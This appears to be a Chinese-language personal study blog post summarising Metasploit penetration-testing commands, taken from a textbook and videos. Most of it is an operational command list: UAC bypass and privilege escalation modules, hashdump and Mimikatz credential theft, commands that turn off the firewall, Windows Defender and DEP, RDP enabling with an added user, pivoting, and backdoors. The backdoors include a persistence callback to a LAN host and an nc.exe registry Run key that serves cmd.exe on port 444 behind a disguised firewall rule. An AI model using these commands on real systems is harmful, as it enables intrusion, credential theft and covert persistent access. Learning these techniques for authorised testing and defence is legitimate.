| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 系统运维 -> 基于Metasploit的渗透测试学习 -> 正文阅读 |
|
[系统运维]基于Metasploit的渗透测试学习 |
写文章主要是为了记录个人的学习,对自己所学的内容进行一次个人的总结。 本文所学来源主要有《Metasploit渗透测试魔鬼训练营》、学习视频以及其他相关文件。其中《Metasploit渗透测试魔鬼训练营》一书只学到第三章,逆向部分还没接触多少,所以第四章以后的内容先不进行学习。 ?Metasploit使用流程:1、确认使用模块 2、配置模块的信息 3、执行 ?渗透测试的阶段:1、前期交互 2、情报搜集:收集的信息包括渗透目标的网络范围、拓扑、开放服务、安全漏洞等全方位信息。 3、利用搜索引擎、公共信息库、目标用户网站等为入手点。 4、威胁建模 5、漏洞分析 6、渗透攻击 7、后渗透攻击 8、报告 ?常用命令🔸进入msf:msfdb run、msfconsole 🔸帮助命令: ①查看帮助信息:help 注:通过help可以看到msf相关命令可以分为六大模块。 ②查找search模块的帮助信息:help search (查询其他模块信息同理) 🔸核心命令中的connect命令: 注:connect主要用于远程连接主机。一般用于内网渗透,常用命令就是:“connect 主机号 端口号”, 如:connect 192.168.10.128 80,连接后在另外一行输入get可以查看服务器版本号。 🔸查看可以利用的信息模块: Jobs 🔸查看正在运行的进程 session 🔸进入进程: ????? Sessions -i 3(3代表进程的ID) 🔸把sessions跳到后台 ????? Background 🔸进入模块: ????? Use 模块名 ????? 如:use exploit/windows/local/ask 🔸查看模块的作用 ????? Info 🔸退出模块 ????? back 🔸进入window命令 Shell 🔸查找漏洞: Search命令,如:search ms08_067(查找ms08_067漏洞) 🔸使用ARP扫描局域网存货的主机 meterpreter run post/windows/gather/arp_scanner rhost=192.168.10.0/24 ?信息收集阶段的相关命令:1、whois 域名注册信息查询 如:whois baidu.com 2、nslookup与dig域名查询(非msf环境下) 如:nslookup??? >set Type-A??? >baidu.com 3、IP2Location地理位置查询 通过IP地址进行地理位置的查询。如可以在 http://www.maxmind.com网站上使用该服务。 查询国内IP地址,可以用QQ纯真数据库,可以在其网站www.cz88.net进行查询。 4、收集子域名。 将子域名枚举起来,对了解网站整体架构、业务应用等非常有帮助,可以使用netcraft网站提供的信息查询服务来完成,https://searchdns.netcraft.com/ 5、通过浏览器进行信息搜集 通过谷歌等浏览器进行信息的收集
如:site:teatfire.net inurl:login 筛选地址为teatfire.net的login网址
如:site:testfire.net filetype:xls 筛选地址为testfire.net的xls文件 6、主机探测与端口扫描 如果目标有足够的安全防护能力,那么从现在起我们的一举一动都可能被对方进行掌握。所以我们每一步都要小心谨慎。 ①使用ping命令对主机进行探测,可以ping其域名或者IP,查看目标主机是否为活跃状态。 ②使用Metasploit的主机发现模块 metaspolit提供了一些辅助模块可用于活跃主机的发现,这些模块位于其源码路径下的/mudules/auxiliary/scanner/discovery/目录下,期中两个主要模块极其功能为: 1.arp_sweep使用arp请求枚举本地局域网中活跃的主机。 命令过程: set rhost 192.168.10.0/24 set threads 50 run 2.使用nmap进行扫描存活的主机 ③获取到存活的主机后,获取各主机的操作系统。 如:nmap -O 192.198.10.132
?渗透攻击1、SSH服务口令猜测 找到开放的服务后,找到相应的攻击模块,便可以对目标机进行相应的攻击。 (这里用口令猜测与嗅探爆破出开放ssh服务的主机的口令) 2、psnuffle口令嗅 ?漏洞扫描1、在获得一台服务器的登录口令后,离渗透进服务端还是远远不够的。我们还需获得更多的漏洞信息。这里用GVM(原OpenVAS)进行扫描。由于内容过多,以及配置出现了些问题,这里便不做过多介绍,以后会出一期详细的使用说明。 2、wmap扫描器,对网站进行集中扫描,扫描完成后列出相关web应用漏洞的信息(具体功能也迟点系统学习,挺强大的,扫描出这些漏洞后可以直接使用Metasploit进行攻击,详情请看p151) 、 3、扫描神奇W3AF ?Metasploit攻击阶段的相关命令:🔸show payload 查看与该渗透攻击模块相兼容的攻击载荷 🔸set 要配置的内容 ①如:set payload cmd/unix/bind_netcat 设置攻击模块兼容的攻击载荷 ②如set rhost 192.168.10.132 设置攻击的主机号 🔸show options 显示配置了哪些参数 🔸执行命令 exploit/run ------------------------------------------------------------------------------------------------------------------------ ?Metasploit提权阶段:1、提高程序运行级别进行权限的提升: 🔸MSF模块—exploit/windows/local/ask ?? (1)先输入getsystem,查看是否可以提权 ?? (2)如果发生报错,则有可能是UAC进行了权限控制,进入 exploit/windows/local/ask模块 ?? ?? 命令:use exploit/windows/local/ask (3)进入模块后,对Lhost等进行配置,然后run (4)运行后,目标机那边会出现一个对话框,询问是否执行, 如果点“是”的话,便拿到了system的权限,但如果点“否”的话,则执行失败. 2、UAC(用户账户控制)绕过 🔸MSF模块—exploit/windows/local/bypassuac ?? 与前面一样,拿到普通用户权限之后,运行getsystem进行提权,看看是否提权成功,如果没能成功,则进入这个模块,进行相关配置,然后run,运行成功后,进入成功提权的那个session,运行getsystem,就提权成功.下面的同理 🔸MSF模块—exploit/windows/local/bypassuac_injection 🔸MSF模块—exploit/windows/local/ bypassuac_vbs 3、利用提权漏洞进行提权 🔸MSF模块—exploit/windows/local/ms14_058_track_popup_menu 流程与前面一样,不做过多叙述 ?Metasploit后渗透阶段的信息搜集:MSF模块: 🔸获取目标机器的分区情况: post/windows/gather/forensics/enum_drives 运行时:run post/windows/gather/forensics/enum_drives 🔸判断是否为虚拟机: post/windows/gather/checkvm 🔸开启了哪些服务: post/windows/gather/enum_services 🔸安装了哪些应用: post/windows/gather/enum_applications 🔸查看共享: post/windows/gather/enum_shares 🔸获取主机最近的系统操作: post/windows/gather/dumplinks 🔸查看补丁: post/windows/gather/enum_patches 🔸scraper脚本 🔸winenum脚本 ?Metasploit后渗透阶段之数据包捕获:在Metasploit使用sniffer 1、抓包 (1)首先先加载sniffer:load sniffer ????? (命令:Meterpreter>load sniffer) (2)查看网卡信息:sniffer_interface (3)开启监听:sniffer_start 1 (其中1代表网卡1,监听网卡2的话改成2即可) (4)导出数据包:sniffer_dump 1 1.cap 查看数据包,可以另外开一个窗口,输入命令进行打开,如: 运行wireshark进行分析 2、解包 (1)auxiliary/sniffer/psnuffle ?Metasploit后渗透阶段之获取Hash值:使用Metasploit进行获取系统的哈希值 (1)Hash基础知识: Windows系统下的hash密码格式为: 用户名:RID:LM-HASH值:NT-HASH值 (2)PassingTheHash--获取Hash值 🔸Hashdump ?? (命令:Meterpreter>hashdump) 🔸run post/windows/gather/smart_hashdump (取得system权限后才能运行这模块) 运行流程: 1、检查权限和系统类型 2、检查是否域控制服务器 3、从注册表读取hash,注入LSASS进程 4、如果时08sever并且具有管理员权限,直接getshell尝试提权 5、如果是win7且UAC关闭并具有管理员权限,从注册表读取 6、03/xp直接getsystem,从注册表获取hash ?关闭防火墙及杀毒软件(window下的,Linux不知行不)先输入shell进入cmd模式,在cmd模式下输入以下的命令 1、关闭防火墙 ?? Netsh advifirewall set allprofiles state off 2、关闭Denfende Net stop windefend 3关闭DEP(数据执行的保护) ?? Bcdedit.exe/set{current}nx AlwaysOff 4、关闭杀毒软件(msf的脚本) ?? Meterpreter > Run kilav ?? Meterpreter > Run post/windows/manage/killava ?远程桌面1、开启远程桌面 ?? run post/windows/manage/enable_rdp ?? run getgui -e 2、开启远程桌面并添加一个新用户bean: ?? run getgui -u bean -p ean 3、开启远程桌面并绑定在8888端口 ?? run getgui -e -f 8888 4、截图 ?? Load espia ?? screengrab ?跳板攻击1、Pivoting ?? 利用已经被入侵的主机作为跳板来攻击网络中其他的系统 ?? 访问由于路由问题而不能直接访问的内网系统 2、自由路由 ?? run autorount -s 192.168.103.0/24(跳板:手动添加需要访问的网段) ?? run post/multi/manage/autoroute(自动获取路由信息) ?? 利用win7攻击内网服务器 ?? 扫描内网网络: run post/windows/gather/arp_scannerrhost=192.168.103.0/24 (进入103网段的主机后,运行该命令,扫描103网段有哪些活跃的主机) use auxiliary/scanner/portscan/tcp (扫描开放了哪些端口) ?ProxyChains代理设置运行msf模块的跳板,出了msf就不能用了,所以我们要用代理,用代理的话,使用其他的软件一样可以连接要入侵主机的内网。 1、Socket代理 ?? auxilary/server/socks4a(msf里面的模块) (不行的话用这个:auxiliary/server/socks_proxy) 开启完代理之后,新建一个窗口,使用ProxyChains软件,做出相应的一些配置: vi /etc/proxychains.conf 2、ProxyChains ProxyChains是为GUN\Linux操作系统而开发的工具,任何TCP连接都可以通过TOR或者SOCKS4,HTTP/HTTPS路由到目的地。在这个通道技术中可以使用多个代理服务器。除此之外提高匿名方式,诸如用于中转跳板的应用程序也可以用于对发现的新网络进行通信。 Proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 –script=smb-vuln-ms08-067.nse 192.168.103.128(扫描使用代理进入的内网的IP地址) ?Mimkatz介绍(Mimikatz需要管理员/system权限,在后渗透阶段使用的) 1、Mimikatz是一款后渗透测试工具。它能够从window认证(LSASS)的进程中获取内存,并且获取明文密码和NTLM哈希值的工具。已被metasploit集成到meterpreter中作为一个脚本,允许方便地访问它一系列的特性,而不需要上传任何文件到目标机器上。 允许Mimikatz首先要加载进去: ?? Meterpreter > load mimikatz 查看帮助信息: ?? Meterpreter > help mimikatz ????? 现版本已经改名为kiwi,使用命令:help kiwi 基于帮助信息的命令,可以获取被攻击机密码的哈希值、密码等信息 2、Mimikatz命令: ?? 导出Hash和认证信息:msv ?? 导出Kerberos认证信息:kerberos ?? 获取本地用户信息及密码:wdigest ?? Mimikatz_command -f samdump::hashes ?? Mimikatz_command -f sekurlsa::searchPasswords ?? Mimikatz_command -f handle::list ?? Mimikatz_command -f service::list ?? Mimikatz_command -f crypto::listProviders ?? Mimikatz_command -f nogpo::cmd ? ?后门植入1、为什么要植入后门: ?? Meterpreter shell运行于内存中,重启即失效 ?? 避免重复性的渗透工作 ?? 漏洞修复后仍旧可就维持控制 2、Meterpreter后门:Metsvc(不常用) ?? 运行过程:通过创建一些临时文件,来创建后门。 ?? 缺点:端口固定,不能设密码,只能用31337端口,易被发现。 ?? 启动服务: ?? run metsvc -A???? #设定端口,上传后门文件 3、Meterpreter后门:Persistence ?? 通过启动型启动 特性:定期会连、系统启动时回连、自动运行 ?? Meterpreter > run persistence -A -S -U -I 60 -p 4321 -r 192.168.101.111 查看帮助信息: Meterpreter > run persistence -h ?后门植入NC后门 ?? 1、先上传NC ????? Upload /root/nc.exe c:\\windows\\system32 说明:第一个为攻击机的nc保存路径,第二个为上传的路径,后面用两个\\是为了转义 ?? 2、修改注册表 ?? 枚举注册表键值: Meterpreter > reg enumkey -k HKLM \\software\\micrsoft\\windows\\currentversion\\run 枚举注册表键值: Meterpreter > reg enumkey -k HKLM \\software\\micrsoft\\windows\\currentversion\\run -v nc -d ‘c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe’ 查看nc键值: Meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc 在目标主机弹出cmd窗口: Meterpreter > execute -f cmd -I -H 查看防火墙状态 C:\windows\system32> netsh firewall show opmode 伪装一个防火墙端口(直接关闭防火墙容易让人怀疑) C:\windows\system32> netsh firewall add portopening TCP 444 “firewall” enable all 在防火墙增加一个444端口 在被攻击机的任务管理器中发现了nc的允许程序,同时也发现444端口正在处于开启状态。 被攻击机只要处于开机状态,就可以进行连接 |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/15 0:27:23- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |